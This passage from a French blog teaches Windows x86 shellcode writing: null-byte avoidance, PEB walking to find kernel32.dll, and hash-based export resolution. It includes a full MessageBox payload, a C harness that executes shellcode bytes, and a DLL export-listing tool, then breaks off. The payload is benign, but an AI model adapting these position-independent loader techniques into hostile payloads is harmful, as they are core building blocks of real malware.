Le registre ecx contient maintenant un pointeur vers notre string « hello world ». Mais il y a un problème : cette string crée un null byte et comme dit plus haut, un shellcode ne doit pas en contenir.
Pour y remédier, nous allons utiliser un autre registre, le mettre à 0 avec l’instruction xor, ajouter un caractère à la fin de notre string, puis écraser ce caractère par le byte de poids faible de ce dernier registre. Avec cette technique, notre string sera bien terminée par un zéro mais sans null byte.


Exemple :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.386
.model flat, stdcall

option casemap:none

.code

start:

xor ebx,ebx ; On met ebx à zéro.
jmp getString

getStringReturn:
pop ecx
mov [ecx+11],bl ; On écrase le '#' par bl, donc zéro.

getString:
call getStringReturn
db "hello world#"

end start


 

Voici donc maintenant notre shellcode au complet :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
.386
.model flat, stdcall

option casemap:none

.code

start:

xor ebx,ebx ; Le registre ebx n'est jamais modifié.

; LoadLibraryA
jmp getUser32LibString

getUser32LibStringReturn:
pop ecx
mov [ecx+10],bl
mov eax,76F74BC6h
push ecx
call eax

; MessageBoxA
jmp getCaptionString

getCaptionStringReturn:
pop ecx
mov [ecx+9],bl

jmp getTextString

getTextStringReturn:
pop edx
mov [edx+11],bl
mov eax,7782FEAEh

push ebx
push ecx
push edx
push ebx
call eax

; ExitProcess
mov eax,76F7734Eh
push ebx
call eax

getTextString:
call getTextStringReturn
db "hello world#"

getCaptionString:
call getCaptionStringReturn
db "Shellcode#"

getUser32LibString:
call getUser32LibStringReturn
db "user32.dll#"

end start


 

Si vous essayez d’exécuter ce shellcode vous n’y arriverez pas, car il faut passer par un programme intermédiaire écrit en C que j’appellerai « shellcodetest.c », qui, chez moi est compilé avec gcc (mingw). Si vous souhaitez le compiler avec Visual Studio, il vous faudra utiliser la fonction VirtualProtect() sur la variable code.

1
2
3
4
5
6
7
8
char code[] = "Placez votre shellcode ici";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}


 

Pour obtenir les bytes du shellcode à placer dans le buffer, vous pouvez utiliser l’outil GetShellcode. Après compilation et exécution de shellcodetest nous obtenons :

Seulement voilà, après un reboot, ce shellcode ne fonctionnera plus car l’adresse des fonctions écrites en dur ici auront changées, il nous faut donc une autre approche. Cette nouvelle approche est souvent appelée « shellcode générique » et c’est ce que nous allons voir maintenant.

 

Shellcode générique :

Au lieu d’utiliser un programme externe qui nous donne les adresses des fonctions que nous souhaitons utiliser, et de se contenter d’un copié/colleé de l’adresse dans le code assembleur, il nous faut les trouver directement dans le shellcode. Cette approche nécessite d’abord de connaître l’adresse de base de kernel32.dll.

Il existe plusieurs techniques pour trouver cette adresse dont une qui utilise la structure du PEB. On trouve le pointeur sur ce PEB à fs:[0x30].
Une fois dans cette structure à 0x0c, on tombe sur une autre structure nommée PEB_LDR_DATA. Dans cette dernière, à 0x1c, il y a une liste chaînée qui contient les modules chargés en mémoire.

Cette liste chaînée porte le nom de InitializationOrderModule. Sur windows XP & vista, kernel32.dll est toujours chargée en deuxième position, mais sur seven elle l’est en troisième. Une façon de rendre portable cette technique sur tous les OS de microsoft est de regarder à la fin de chaque nom de module que l’on parcourt (nom que l’on trouve à l’offset 0×20 sur chaque élément de InitializationOrderModule). Le nom de la dll/module doit faire 12 caractères (n’oublions pas que nous sommes en unicode).

Puis enfin à 0×08 sur chaque élément, on y trouve l’adresse de base du module.


Voici le code assembleur qui nous permet de trouver l’adresse de kernel32.dll :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.386
.model flat, stdcall

option casemap:none
assume fs:nothing

.code

start:

xor ecx, ecx ; ecx = 0
mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
mov esi, [esi + 0ch] ; esi = PEB->Ldr
mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
next_module:
mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode)
mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant)
cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
jne next_module ; Non : essayons le module suivant.

end start


 

Avec ce code, eax contient l’adresse de base de kernel32.dll. Il ne nous reste donc plus qu’à obtenir l’adresse de nos fonctions. On va refaire le même shellcode que dans l’exemple précédent, c’est à dire celui qui était statique.

On y va en deux fois :
- On trouve les adresses de LoadLibraryA et de ExitProcess qui se trouvent dans kernel32.dll
- On trouve l’adresse de MessageBoxA qui se trouve dans user32.dll.


Pour trouver l’adresse de nos fonctions, nous allons utiliser le PE format et parser les dll afin d’obtenir les adresses dans la table d’exportation. Pour en savoir plus sur le format PE, vous pouvez lire l’article Le format PE. Ce tutoriel ne suffit pas pour la suite car pour un shellcode on ne peut pas lire toutes les en-têtes, utiliser fread, fseek etc… Il nous faut donc connaître à l’avance les offsets de tout ce que l’on a besoin :

1
2
3
4
5
6
7
8
9
10
11
PIMAGE_DOS_HEADER->e_lfanew = 0x3c

PIMAGE_NT_HEADERS->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres = 0x78

PIMAGE_EXPORT_DIRECTORY->NumberOfNames = 0x18

PIMAGE_EXPORT_DIRECTORY->AddressOfNames = 0x20

PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals = 0x24

PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions = 0x1c


 

Plutôt que de comparer dans le shellcode chaque nom de fonctions listé depuis la table d’exportation d’une dll avec un nom que l’on recherche, nous allons utiliser un système de hash.

C’est à dire, au départ créer un hash pour chaque nom de fonction que l’on souhaite utiliser, puis dans le shellcode à chaque nom de fonction parcouru on générera ce hash pour le comparer avec celui que l’on recherche. Cette technique permet de diminuer la taille de notre shellcode.

Ici le code qui permet de générer le hash d’une fonction: GenerateHash.

Pour ce qui va suivre, il faut faudra un minimum de connaissances en assembleur. Nous savons donc comment trouver l’adresse de kernel32.dll, qu’il faut parcourir la table d’exportation et comment la parcourir pour trouver les adresses de nos fonctions. Quant au nom de fonction, nous savons qu’il faut utiliser un hash pour la comparaison. On a donc tout ce qu’il nous faut pour rendre notre shellcode générique.

Voici notre shellcode qui affiche la MessageBox mais de façon générique :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
.386
.model flat, stdcall

option casemap:none
assume fs:nothing

.code

start:

jmp main

find_kernel32:
xor ecx, ecx ; ecx = 0
mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
mov esi, [esi + 0ch] ; esi = PEB->Ldr
mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
next_module:
mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode).
mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant).
cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
jne next_module ; Non : essayons le module suivant.
ret

find_func_address:
pushad
mov ebp, [esp + 024h] ; 24 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine.
mov eax, [ebp + 03ch] ; PIMAGE_DOS_HEADER->e_lfanew
mov edx, [ebp + eax + 078h] ; RVA de PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres
add edx, ebp ; On y ajoute l'adresse de base de la dll.
mov ecx, [edx + 018h] ; PIMAGE_EXPORT_DIRECTORY->NumberOfNames
mov ebx, [edx + 020h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNames
add ebx, ebp ; On y joute l'adresse de base de la dll.

find_func_address_loop:
jecxz find_func_address_finished
dec ecx ; Décrémente ecx.
mov esi, [ebx + ecx * 4] ; RVA d'un nom de fonction dans esi.
add esi, ebp ; On y ajoute l'adresse de base de la dll.

prepare_hash:
xor edi, edi ; edi = 0
xor eax, eax ; eax = 0
cld ; Clear direction flag: pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

hash:
lodsb ; Charge un byte de esi (qui contient le nom d'une fonction) dans al et incrémente esi.
test al, al ; On regarde si le byte est à zéro.
jz hash_finished ; Si oui on a atteint la fin du nom de la fonction.
ror edi, 0dh ; Rotation de 13 bits vers la droite de la valeur courante (edi contient le hash).
add edi, eax ; Ajout du caractère au hash.
jmp hash ; On continue.

hash_finished:
compare_hash:
cmp edi, [esp + 028h] ; 28 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine + le hash à trouver.
jnz find_func_address_loop ; Ce n'est pas le bon nom de fonction, on va au prochain.
mov ebx, [edx + 024h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
add ebx, ebp ; On y ajoute l'adresse de base de la dll.
mov cx, [ebx + 2 * ecx] ; Ordinal de la fonction courante.
mov ebx, [edx + 01ch] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
add ebx, ebp ; On y ajoute l'adresse de base de la dll.
mov eax, [ebx + 4 * ecx] ; RVA de l'adresse de la fonction.
add eax, ebp ; On y ajoute l'adresse de base de la dll = adresse effective.
mov [esp + 01ch], eax

find_func_address_finished:
popad ; Retrouve la valeur de tous les registres, eax contient l'adresse de la fonction grace au "mov [esp + 01ch], eax".
ret

main:
sub esp, 12 ; On alloue l'espace sur la stack pour contenir l'adresse de LoadLibraryA, ExitProcess et MessageBoxA.
mov ebp, esp ; ebp devient notre frame pointeur. Ex : call ebp+4 pour call LoadLibraryA.
; call ebp+8 pour call ExitProcess.
; call ebp+12 pour call MessageBoxA.

call find_kernel32
mov edx, eax ; On sauvegarde l'adresse de kernel32.dll dans edx.

; On cherche l'adresse de LoadLibraryA :
push 0ec0e4e8eh ; Le hash.
push edx ; L'adresse de base de la dll (kernel32.dll).
call find_func_address
mov [ebp+4], eax ; ebp = Adresse de LoadLibraryA.

; On cherche l'adresse de ExitProcess :
push 073e2d87eh ; Le hash.
push edx ; L'adresse de base de la dll (kernel32.dll).
call find_func_address
mov [ebp+8], eax ; ebp+4 = Adresse de ExitProcess.

; On get la string user32.dll :
xor ebx, ebx
jmp get_user32
get_user32_return:
pop eax
mov [eax+10], bl ; On termine la string sans null byte.

; On appel LoadLibraryA.
push eax ; la string user32.dll
call dword ptr [ebp+4]

mov edx, eax ; edx contient maintenant l'adresse de base de user32.dll.

; On cherche l'adresse de MessageBoxA :
push 0bc4da2a8h ; Le hash.
push edx ; L'adresse base de la dll (user32.dll).
call find_func_address
mov [ebp+12], eax ; ebp = adresse de MessageBoxA.

xor ebx,ebx ; Le registre ebx n'est jamais modifié (convention d'appel stdcall).

; On get la string pour le titre :
jmp get_caption
get_caption_return:
pop esi
mov [esi+9], bl

; On get la string pour le message :
jmp get_text
get_text_return:
pop edi
mov [edi+11], bl

; On call MessageBoxA :
push ebx
push esi
push edi
push ebx
call dword ptr [ebp + 12]

; On call ExitProcess :
push ebx
call dword ptr [ebp + 8]

get_user32:
call get_user32_return
db "user32.dll#"

get_caption:
call get_caption_return
db "Shellcode#"

get_text:
call get_text_return
db "hello world#"

end start


 

N’oubliez pas que pour l’essayer, il faut obtenir les bytes avec par exemple GetShellcode et utiliser shellcodetest.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char code[] = "\xEB\x68\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\x83\xEC\x0C\x8B\xEC\xE8\x8E\xFF\xFF\xFF\x8B\xD0\x68\x8E\x4E\x0E\xEC\x52\xE8\x9B\xFF\xFF\xFF\x89\x45\x04\x68\x7E\xD8\xE2\x73\x52\xE8\x8D\xFF\xFF\xFF\x89\x45\x08\x33\xDB\xEB\x31\x58\x88\x58\x0A\x50\xFF\x55\x04\x8B\xD0\x68\xA8\xA2\x4D\xBC\x52\xE8\x71\xFF\xFF\xFF\x89\x45\x0C\x33\xDB\xEB\x25\x5E\x88\x5E\x09\xEB\x2E\x5F\x88\x5F\x0B\x53\x56\x57\x53\xFF\x55\x0C\x53\xFF\x55\x08\xE8\xCA\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x23\xE8\xD6\xFF\xFF\xFF\x53\x68\x65\x6C\x6C\x63\x6F\x64\x65\x23\xE8\xCD\xFF\xFF\xFF\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x23";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}


 

On obtient exactement pareil :

On a donc d’abord créé un shellcode qui fonctionnera uniquement sur notre pc et sans reboot, pour finir par un qui fonctionnera (normalement) en tout temps et sur n’importe quel windows.

Publié dans Shellcode | Marqué avec , , , | Laisser un commentaire

List Exported Functions :

Je vous présente ici un petit tool avec interface graphique qui liste les fonctions exportées d’une dll (comme par exemple kernel32.dll) avec possibilité d’obtenir l’adresse effective d’une fonction grâce à un menu par un clic droit sur un nom de fonction… Pratique pour les shellcodes static. :)

 


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
#include <windows.h>
#include <stdio.h>
#include <commctrl.h>
#include <windowsx.h>

typedef FILE *PFILE;

#define APPLICATIONNAME "List exported functions\0"
#define CLASSNAME       "ListExportedFunctions\0"

#define IDC_FILENAME_EDIT   101
#define IDC_BUTTON          102
#define IDC_LISTVIEW        103
#define IDC_ADDRESS_EDIT    104

#define IDM_GET_NAME        201
#define IDM_GET_ADDRESS     202

HINSTANCE hInst;

ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
void                ResizeControls(HWND, HWND, HWND, HWND, HWND);
void                CreateColumn(HWND);
void                OnButtonClick(HWND, HWND, HWND);
void                InsertItems(HWND, HWND, LPSTR);
void                ReadCString(PFILE, LPSTR);
DWORD               RvaToOffset(PIMAGE_SECTION_HEADER, WORD, DWORD);
void                OnRightClick(HWND);
void                OnGetAddressClick(HWND, HWND, HWND, HWND, int);
void                OnGetNameClick(HWND, HWND, HWND, HWND, int);

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    MSG msg;
    INITCOMMONCONTROLSEX icex;

    icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
    icex.dwICC  = ICC_LISTVIEW_CLASSES;
    InitCommonControlsEx(&icex);
   
    MyRegisterClass(hInstance);
   
    if(!InitInstance(hInstance, nCmdShow))
    {
        return FALSE;
    }
   
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
   
    return (int)msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;
   
    wcex.cbSize = sizeof(WNDCLASSEX);
   
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = CLASSNAME;
    wcex.hIconSm        = LoadIcon(NULL, IDI_APPLICATION);
   
    return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
    HWND hWnd;
   
    hInst = hInstance; // Stocke le handle d'instance dans la variable globale.
   
    hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, 0, 900, 600, NULL, NULL, hInstance, NULL);
   
    if(!hWnd)
    {
        return FALSE;
    }
   
    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);
   
    return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    int wmId, wmEvent;
    PAINTSTRUCT ps;
    HDC hdc;

    static HWND hwndFilenameEdit;
    static HWND hwndButton;
    static HWND hwndListView;
    static HWND hwndAddressEdit;

    static int iItem;
   
    switch(message)
    {
    case WM_CREATE:
        hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
             0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);

        hwndButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
             0, 0, 0, 0, hWnd, (HMENU)IDC_BUTTON, hInst, NULL);

        hwndListView = CreateWindow(WC_LISTVIEW, NULL, WS_CHILD | WS_VISIBLE | LVS_LIST,
             0, 0, 0, 0, hWnd, (HMENU)IDC_LISTVIEW, hInst, NULL);

        hwndAddressEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
            0, 0, 0, 0, hWnd, (HMENU)IDC_ADDRESS_EDIT, hInst, NULL);

        CreateColumn(hwndListView);

        ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
        break;
    case WM_SIZE:
        ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
        break;
    case WM_COMMAND:
        wmId    = LOWORD(wParam);
        wmEvent = HIWORD(wParam);
        // Analyse les sélections de menu :
        switch(wmId)
        {
        case IDC_BUTTON:
            OnButtonClick(hWnd, hwndFilenameEdit, hwndListView);
            break;
        case IDM_GET_NAME:
            OnGetNameClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
            break;
        case IDM_GET_ADDRESS:
            OnGetAddressClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
        break;
    case WM_NOTIFY:
        switch(((LPNMHDR)lParam)->code)
        {
        case NM_RCLICK:
            LVHITTESTINFO lvhti;
            LPNMITEMACTIVATE lpnmia;

            lpnmia = (LPNMITEMACTIVATE)lParam;
            lvhti.pt = lpnmia->ptAction;

            if(ListView_SubItemHitTest(hwndListView, &lvhti) != -1)
            {
                iItem = lpnmia->iItem;
                OnRightClick(hWnd);
            }
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
        break;
    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
        // TODO : ajoutez ici le code de dessin...
        EndPaint(hWnd, &ps);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
   
    return 0;
}

void ResizeControls(HWND hwndFilenameEdit, HWND hwndButton, HWND hwndListView, HWND hwndAddressEdit, HWND hWnd)
{
    RECT rc;
   
    GetClientRect(hWnd, &rc);
   
    MoveWindow(hwndFilenameEdit, 15, 15, rc.right - rc.left - (15 + 80 + 15 + 15), 25, TRUE);
   
    MoveWindow(hwndButton, rc.right - (15 + 80), 15, 80, 25, TRUE);
   
    MoveWindow(hwndListView, 15, 15 + 25 + 15, rc.right - rc.left - (15 + 15), rc.bottom - rc.top - (15 + 25 + 15 + 25 + 15 + 15), TRUE);

    MoveWindow(hwndAddressEdit, 15, rc.bottom - (15 + 25), rc.right - rc.left - (15 + 15), 25, TRUE);
}

void CreateColumn(HWND hwndListView)
{
    LVCOLUMN lvc;
   
    ListView_InsertColumn(hwndListView, 0, &lvc);
}

void OnButtonClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView)
{
    OPENFILENAME ofn;
    TCHAR szFile[1024];
   
    ZeroMemory(&ofn, sizeof(ofn));
    ofn.lStructSize     = sizeof(ofn);
    ofn.hwndOwner       = hWnd;
    ofn.lpstrFile       = szFile;
    ofn.lpstrFile[0]    = '\0';
    ofn.nMaxFile        = sizeof(szFile);
    ofn.lpstrFilter     = TEXT("Dynamic Link Library\0*.dll\0\0");
    ofn.nFilterIndex    = 1;
    ofn.lpstrFileTitle  = NULL;
    ofn.nMaxFileTitle   = 0;
    ofn.lpstrInitialDir = NULL;
    ofn.Flags           = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
   
    if(GetOpenFileName(&ofn))
    {
        Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
        return InsertItems(hWnd, hwndListView, ofn.lpstrFile);
    }
}

void InsertItems(HWND hWnd, HWND hwndListView, LPSTR lpstrFile)
{
    PFILE pfile = NULL;
    char name[1024];
    DWORD namePos = -1;
    DWORD offsetOfEntryExport = -1;
    DWORD offsetOfNames = -1;
    DWORD offsetOfNamePos = -1;
   
    IMAGE_DOS_HEADER        iDosHeader;
    IMAGE_NT_HEADERS        iNtHeaders;
    PIMAGE_SECTION_HEADER   piSectionHeader;
    IMAGE_EXPORT_DIRECTORY  iExportDir;

    LVITEM lvI;
    lvI.mask = LVIF_TEXT;
   
    ListView_DeleteAllItems(hwndListView);

    pfile = fopen(lpstrFile, "rb");

    if(pfile == NULL)
    {
        MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

    if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

    fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

    if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * iNtHeaders.FileHeader.NumberOfSections);

    for(unsigned i = 0; i < iNtHeaders.FileHeader.NumberOfSections; i++)
    {
        fread(&piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pfile);
    }

    offsetOfEntryExport = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    if(offsetOfEntryExport == -1)
    {
        MessageBox(hWnd, "Impossible de trouver la table des fonctions exportées.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    fseek(pfile, offsetOfEntryExport, SEEK_SET);

    fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pfile);

    offsetOfNames = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iExportDir.AddressOfNames);

    if(offsetOfNames == -1)
    {
        MessageBox(hWnd, "Impossible d'aller à l'adresse des noms.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
    {
        fseek(pfile, offsetOfNames + i * sizeof(DWORD), SEEK_SET);
        fread(&namePos, sizeof(DWORD), 1, pfile);

        offsetOfNamePos = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, namePos);

        if(offsetOfNamePos == -1)
        {
            MessageBox(hWnd, "Impossible d'aller à l'adresse du nom.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        fseek(pfile, offsetOfNamePos, SEEK_SET);

        ReadCString(pfile, name);

        lvI.iItem = i;
        lvI.iSubItem = 0;
        lvI.pszText = name;
        ListView_InsertItem(hwndListView, &lvI);
    }

    SetFocus(hwndListView);
}

DWORD RvaToOffset(PIMAGE_SECTION_HEADER piSectionHeader, WORD numberOfSections, DWORD rva)
{
    for(WORD i = 0; i < numberOfSections; i++)
    {
        // La RVA est-elle dans cette section?
        if((rva >= piSectionHeader[i].VirtualAddress) && (rva < piSectionHeader[i].VirtualAddress + piSectionHeader[i].SizeOfRawData))
        {
            rva -= piSectionHeader[i].VirtualAddress;
            rva += piSectionHeader[i].PointerToRawData;
           
            return rva;
        }
    }
   
    return -1;
}

void ReadCString(PFILE pfile, LPSTR name)
{
    DWORD n = 0;
   
    do
    {
        fread(name+n, sizeof(char), 1, pfile);
        n++;
    }while(name[n-1] != 0 && n < 1023);
   
    name[n] = 0;
}

void OnRightClick(HWND hWnd)
{
    HMENU hMenu;
    POINT pt;

    hMenu = CreatePopupMenu();

    GetCursorPos(&pt);

    AppendMenu(hMenu, MF_STRING, IDM_GET_NAME, TEXT("Get name"));
    AppendMenu(hMenu, MF_STRING, IDM_GET_ADDRESS, TEXT("Get address"));

    TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
}

void OnGetAddressClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
{
    CHAR szFile[1024];
    HMODULE hMod;
    DWORD dwAddress;
    CHAR szFunc[1024];
    CHAR szWorkBuff[12];

    Edit_GetText(hwndFilenameEdit, szFile, 1024);
   
    hMod = LoadLibrary(szFile);
   
    if(!hMod)
    {
        MessageBox(hWnd, "Impossible de charger la dll.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

    dwAddress = (DWORD)GetProcAddress(hMod, szFunc);

    if(!dwAddress)
    {
        MessageBox(hWnd, "Impossible d'obtenir l'adresse.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    sprintf(szWorkBuff, "0x%X", dwAddress);

    Edit_SetText(hwndAddressEdit, szWorkBuff);
}

void OnGetNameClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
{
    CHAR szFunc[1024];

    ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

    Edit_SetText(hwndAddressEdit, szFunc);
}


 

Publié dans File format | Marqué avec , , , | Laisser un commentaire

Get Shellcode pour Windows :

Cet outil permet d’obtenir le shellcode à injecter dans un buffer depuis l’exécutable généré par votre assembleur.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
